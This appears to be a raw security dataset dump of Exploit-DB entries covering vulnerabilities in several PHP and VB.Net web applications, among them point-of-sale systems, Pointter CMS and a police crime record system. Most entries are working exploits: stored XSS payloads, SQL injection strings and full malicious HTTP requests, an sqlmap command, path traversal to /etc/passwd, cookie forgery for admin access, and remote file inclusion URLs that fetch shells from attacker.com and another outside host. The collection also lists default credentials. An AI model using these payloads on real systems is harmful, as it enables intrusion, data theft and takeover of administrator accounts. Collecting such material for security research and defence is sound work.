deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49306
Description: Point of Sale System 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2020-12-21
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Point of Sale System 1.0 - Multiple Stored XSS
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-18
# Vendor Homepage: https://www.sourcecodester.com/php/9620/point-sale-system-pos.html
# Software Link: https://www.sourcecodester.com/download-code?nid=9620&title=Point+of+Sale+System+%28POS%29+using+PHP+with+Source+Code
# Affected Version: Version 1
# Tested on: Parrot OS

Step 1. Login to the application with admin credentials

Step 2. Click on "Suppliers" in header and select "Add Supplier".

Step 3. Input "<script>alert("r0b0tG4nG")</script>" in all fields of the form.
Note: Stored XSS vulnerability can also be found "Customers Page" when you select "Add New Customer". Apply Same method above to execute Stored XSS.

Step 4. Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Suppliers Page", your XSS Payloads will be triggered.

Note: Stored XSS can also be triggered when you click on "Products Page" and select "Add New Product".
Exploit-DB #45721
Description: Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/poinofsales_0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18805

# POC: 
# 1)
# User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||'
# Pass: Null
# 
# https://2.bp.blogspot.com/-qlfhS-GUaCQ/W9Yt3aHdLHI/AAAAAAAAENg/Hmxj2lZ62cYITPlTNaNrwwAgh379Cbi8ACLcBGAs/s1600/sql3.png
# 
#[PATH]/LoginForm1.vb
#....
#11     Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click
#12         sql = "SELECT * FROM `tblemployee` WHERE `USERNAME` ='" & UsernameTextBox.Text & "' and `PASSWRD` = sha1('" & PasswordTextBox.Text & "')"
#13         janobefindthis(sql)
#14 
#15         If GetNumRows() = 1 Then
#16             LoadSingleResult("login")
#17             ' MsgBox(fullname)
#18             Form1.statsloginname.Text = fullname
#19             Form1.tsLogin.Text = "Logout"
#20 
#21             If usertype = "Administrator" Then
#22                 Visible_Admin(True)
#23             Else
#24                 Visible_Cashier(True)
#25             End If
#26         Else
#27             MsgBox("Username or Password not registered!")
#28         End If
#29 
#30 
#31         Me.Close()
#32     End Sub
#....
Exploit-DB #48933
Description: Point of Sales 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-23
Author: Ankita Pal

Exploit:
#Exploit Title: Point of Sales 1.0 - SQL Injection
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/pos_0.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1:	Open the URL http://localhost:8081/pos/edit_category.php?id=1

Step 2:	Change the URL http://localhost:8081/pos/edit_category.php?id=1'

Step 3: Try to balance the query http://localhost:8081/pos/edit_category.php?id=1'--+

Step 4: Find the number of columns http://localhost:8081/pos/edit_category.php?id=1' order by 1,2--+

Step 5: Find which columns are visible http://localhost:8081/pos/edit_category.php?id=-1%27%20UNION%20Select%201,2--+


Malicious Request:::

GET /pos/edit_category.php?id=-1%27%20UNION%20Select%201,database()--+ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

Gives database name *sourcecodester_posdb*
Exploit-DB #48937
Description: Point of Sales 1.0 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Point of Sales 1.0 - 'username' SQL Injection
# Date: 22/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14540&title=Point+of+Sales+in+PHP%2FPDO+with+Full+Source+Code+%282020%29
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#parameter Vulnerable: username
# Injected Request

POST /pos/pos/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: http://localhost
Connection: close
Referer: http://localhost/pos/pos/
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D
Upgrade-Insecure-Requests: 1

username=admin' or '1'='1';SELECT SLEEP(5)#&password=admin' or '1'='1#&btn_login=

//Comment
The reponse will be delayed by 5s.
Exploit-DB #10220
Description: pointcomma 3.8b2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-11-24
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#PointComma <= 3.8b2 Remote File Include Vulnerability
#Download Script      :  http://nchc.dl.sourceforge.net/project/pointcomma/pointcomma/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./PointComma-3.8b2/includes/classes/pctemplate.php (line 14)
#       <?php
#          require($pcConfig['smartyPath'].'Smarty.class.php'); 
#       ?>
#PoC  :  http://server/[path]/includes/classes/pctemplate.php?pcConfig[smartyPath]=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ]
Exploit-DB #15740
Description: Pointter PHP Content Management System - Unauthorized Privilege Escalation
Type: webapps
Platform: php
Date: 2010-12-15
Author: Mark Stanislav

Exploit:
'Pointter PHP Content Management System' Unauthorized Privilege Escalation (CVE-2010-4332)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Pointter PHP Content Management System' authentication system which allows for administrative privileges by crafting two specific cookies with arbitrary values.

 
II. TESTED VERSION
---------------------------------------
1.0


III. PoC EXPLOIT
---------------------------------------
Using whatever method you prefer, generate 'auser' and 'apass' cookies. The values of each cookie are irrelevant; the mere presence of the cookies provide the administrative privilege.


IV. NOTES 
---------------------------------------
* Here's a snippet of the final reply that I received from the vendor:
"Of course, it could be made safer and we know how to do it. But we have designed the softwares so that renaming admin folder gives us less work. As you know, the users should know the security issues as they will run this and not us."


V. SOLUTION
---------------------------------------
* There is no update released at this time. Avoidance of this software is recommended until an updated version is available.


VI. REFERENCES
---------------------------------------
http://www.pointter.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4332
http://www.uncompiled.com/2010/12/pointter-php-content-management-system-unauthorized-privilege-escalation-cve-2010-4332/


VII. TIMELINE
---------------------------------------
11/23/2010 - Initial vendor disclosure e-mail sent
11/24/2010 - Reply from vendor informing me that my 'software manipulation' was illegal
11/24/2010 - Response to vendor regarding their accusation of illegal actions on my part
11/24/2010 - Reply from vendor stating that by releasing this information, I am committing a crime
11/24/2010 - Response to vendor that their software is CC-licensed and that their accusations are unfounded
11/24/2010 - Rebuttal from vendor again affirming I was breaking the law by disclosing this vulnerability
11/24/2010 - Reply to vendor again stating my intent to help the company and provide responsible disclosure
11/24/2010 - Response from vendor stating they would no longer respond and explained their stance on fixing this issue
11/24/2010 - Final reply to vendor stating that I was happy to work with them on a delayed disclosure if desired
12/15/2010 - Public disclosure
Exploit-DB #16987
Description: pointter PHP content management system 1.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-16
Author: LiquidWorm

Exploit:
Pointter PHP Content Management System 1.2 Multiple Vulnerabilities


Vendor: PangramSoft GmbH
Product web page: http://www.pointter.com
Affected version: 1.2

Summary: Pointter PHP Content Management System is an advanced, fast
and user friendly CMS script that can be used to build simple websites
or professional websites with product categorization, product blogs,
member login and search modules. The webmaster can create unlimited
static page boxes, static pages, main categories, sub categories and
product pages.

Desc: Pointter CMS suffers from multiple vulnerabilities (post-auth)
including: Stored XSS, bSQLi, LFI, Cookie Manipulation, DoS.

Tested on: Microsoft Windows XP Pro SP3 (en)

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic


Advisory ID: ZSL-2011-5002
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5002.php


10.03.2011


---
XSS:
The stored XSS is pretty much everywhere in the admin panel, just posting the
string '"><script>alert(1)</script>' when editing some category, and on every
return on the main page u get annoyed.

LFI:
script: pointtercms/admin/functions/createcategory.php
post param: category
poc: category=../../../../../../../../../test.txt%00&code=0e=0

script: pointtercms/admin/functions/createpage.php
post param: pageurl

script: pointtercms/admin/functions/createproduct.php
post param: producturl


bSQLi:
script: pointtercms/admin/functions/editsettings.php
post param: onoff, count, boxname, tonoff, tname, monoff, mname, nonoff, nname,
memonoff, memname, searchonoff, searchname, pos, tpos, mpos, npos, mempos, mail.
poc: onoff=1'+and+sleep(10)%23&pos=0
- Response size: 0 bytes, Duration: 10016 ms
Exploit-DB #15741
Description: Pointter PHP Micro-Blogging Social Network - Unauthorized Privilege Escalation
Type: webapps
Platform: php
Date: 2010-12-15
Author: Mark Stanislav

Exploit:
'Pointter PHP Micro-Blogging Social Network' Unauthorized Privilege Escalation (CVE-2010-4333)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Pointter PHP Micro-Blogging Social Network' authentication system which allows for administrative privileges by crafting two specific cookies with arbitrary values.

 
II. TESTED VERSION
---------------------------------------
1.8


III. PoC EXPLOIT
---------------------------------------
Using whatever method you prefer, generate 'auser' and 'apass' cookies. The values of each cookie are irrelevant; the mere presence of the cookies provide the administrative privilege.


IV. NOTES 
---------------------------------------
* Here's a snippet of the final reply that I received from the vendor:
"Of course, it could be made safer and we know how to do it. But we have designed the softwares so that renaming admin folder gives us less work. As you know, the users should know the security issues as they will run this and not us."


V. SOLUTION
---------------------------------------
* There is no update released at this time. Avoidance of this software is recommended until an updated version is available.


VI. REFERENCES
---------------------------------------
http://www.pointter.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4333
http://www.uncompiled.com/2010/12/pointter-php-micro-blogging-social-network-unauthorized-privilege-escalation-cve-2010-4333/

VII. TIMELINE
---------------------------------------
11/23/2010 - Initial vendor disclosure e-mail sent
11/24/2010 - Reply from vendor informing me that my 'software manipulation' was illegal
11/24/2010 - Response to vendor regarding their accusation of illegal actions on my part
11/24/2010 - Reply from vendor stating that by releasing this information, I am committing a crime
11/24/2010 - Response to vendor that their software is CC-licensed and that their accusations are unfounded
11/24/2010 - Rebuttal from vendor again affirming I was breaking the law by disclosing this vulnerability
11/24/2010 - Reply to vendor again stating my intent to help the company and provide responsible disclosure
11/24/2010 - Response from vendor stating they would no longer respond and explained their stance on fixing this issue
11/24/2010 - Final reply to vendor stating that I was happy to work with them on a delayed disclosure if desired
12/15/2010 - Public disclosure
Exploit-DB #14170
Description: Pointter Social Network - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-02
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : pointter Social network LFI Vulnerablility 
Date : july, 2 2010
Critical Level 	: HIGH
Vendor Url : http://www.pointter.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :**RoAd_KiLlEr**,www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:

Pointter is a PHP-based social network platform that lets you create a social network on your website. Right out of the box, your social network will offer nearly all of the features found on today's wildly popular social networks

###############################################################################################################

Xploit:  LFI Vulnerability

DEMO URL :http://server/showinphoto.php?pid=[LFI]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #6766
Description: PokerMax Poker League 0.13 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-16
Author: DaRkLiFe

Exploit:
**************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

PokerMax Poker League Insecure Cookie Handling Vulnerability

Download:

http://www.stevedawson.com/downloads/pokerleague.zip
**************************************************************************************

Exploit :

javascript:document.cookie = "ValidUserAdmin=admin";

**here "admin" refers to username of administrator on site

default username is "admin" given after installation of site

but if it is changed u can easily find out username of admin and then 
substitute it in place of "admin"
**************************************************************************************

Instructions :

Find the site running on this script .

Go to http://site.com/pokerleague/pokeradmin/configure.php

It will ask for login. Now in url tab run the exploit command

Then return back to http://site.com/pokerleague/pokeradmin/configure.php

Now u should be loggedin as admin and change the thing into what you want .

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-16]
Exploit-DB #2427
Description: Polaring 0.04.03 - 'general.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Drago84

Exploit:
###### ToXiC #########################
# 
#Polaring  Remote File Include
#
#BuG FounD  by Drago84
#
#Application Affect: Polaring  Remote File Include
#Source Code:
#http://sourceforge.net/project/showfiles.php?group_id=150989&package_id=166837&release_id=444225
#Problem:
#require($_SESSION['dirMain'].'/view/css.php');
#require($_SESSION['dirMain'].'/view/frontpage.php');
#require($_SESSION['dirMain'].'/view/navigation.php');
#require($_SESSION['dirMain'].'/view/gmaps.php');
#require($_SESSION['dirMain'].'/view/errorReport.php');
#Solution : Declare $_SESSION['dirMain']
#Page Vulnerable : general.php
#Dir             : /view/
# Exempe Of ExPloit is:
#http://www.site.com/polaring_dir/view/general.php?_SESSION['dirMain']=http://marcusbestlamer.gay/shell.php?

#GrEatZ All Member of ToXiC, Str0ke
# Fuck Sonic Il chan italiano + merdoso che esista
# ToXic Security Italian CreW

######
ToXiC
###################

# milw0rm.com [2006-09-25]
Exploit-DB #4704
Description: PolDoc CMS 0.96 - 'download_file.php' File Disclosure
Type: webapps
Platform: php
Date: 2007-12-08
Author: GoLd_M

Exploit:
PolDoc CMS 0.96 (download_file.php filename) Remote File Disclosure Vulnerability
D . Script : http://sourceforge.net/project/showfiles.php?group_id=100272
POC : /download_file.php?filename=../../../../../../../../etc/passwd

# milw0rm.com [2007-12-08]
Exploit-DB #50327
Description: Police Crime Record Management Project 1.0 - Time Based SQLi
Type: webapps
Platform: php
Date: 2021-09-23
Author: ()t/\\/\\1

Exploit:
# Exploit Title: Police Crime Record Management Project 1.0 - Time Based SQLi  
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Tested on: Linux
# Version: 1.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.

The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'edit' GET parameter in 'http://127.0.0.1//ghpolice/admin/investigation.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.

# PoC request 

GET /ghpolice/admin/investigation.php?edit=210728101'-IF(MID(user(),1,1)='r',SLEEP(2),0)--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c
Upgrade-Insecure-Requests: 1
Exploit-DB #50196
Description: Police Crime Record Management System 1.0 - 'casedetails' SQL Injection
Type: webapps
Platform: php
Date: 2021-08-13
Author: Ömer Hasan Durmuş

Exploit:
# Exploit Title: Police Crime Record Management System 1.0 - 'casedetails' SQL Injection
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login CID account in http://TARGET/ghpolice/login.php default credentials. (005:12345)
STEP 2 : Send the following request
or
Use sqlmap : python sqlmap.py -u "
http://TARGET/ghpolice/cid/casedetails.php?id=210728101"
--cookie="PHPSESSID=ev8vn1d1de5hjrv9273dunao8j" --dbs -vv

# Request

GET
/ghpolice/cid/casedetails.php?id=210728101'+AND+(SELECT+2115+FROM+(SELECT(SLEEP(5)))GQtj)+AND'gKJE'='gKJE
HTTP/1.1
Host: target.com
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://target.com/ghpolice/cid/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ev8vn1d1de5hjrv9273dunao8j
Connection: close

# Response after 5 seconds

HTTP/1.1 200 OK
Date: Thu, 12 Aug 2021 21:32:47 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.14
X-Powered-By: PHP/7.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6913
Connection: close
Content-Type: text/html; charset=UTF-8
...
...
...
Exploit-DB #50195
Description: Police Crime Record Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-13
Author: Ömer Hasan Durmuş

Exploit:
# Exploit Title: Police Crime Record Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login to admin account in http://TARGET/ghpolice/login.php default credentials. (1111:admin123)
Step 2 : Then click on the "Add Staff"
Step 3 : Input "<img src=x onerror=alert(1)>" in the field "Firstname" or "Othernames"
Step 4 : Click on "Save and Continue"
Step 5 : Update page.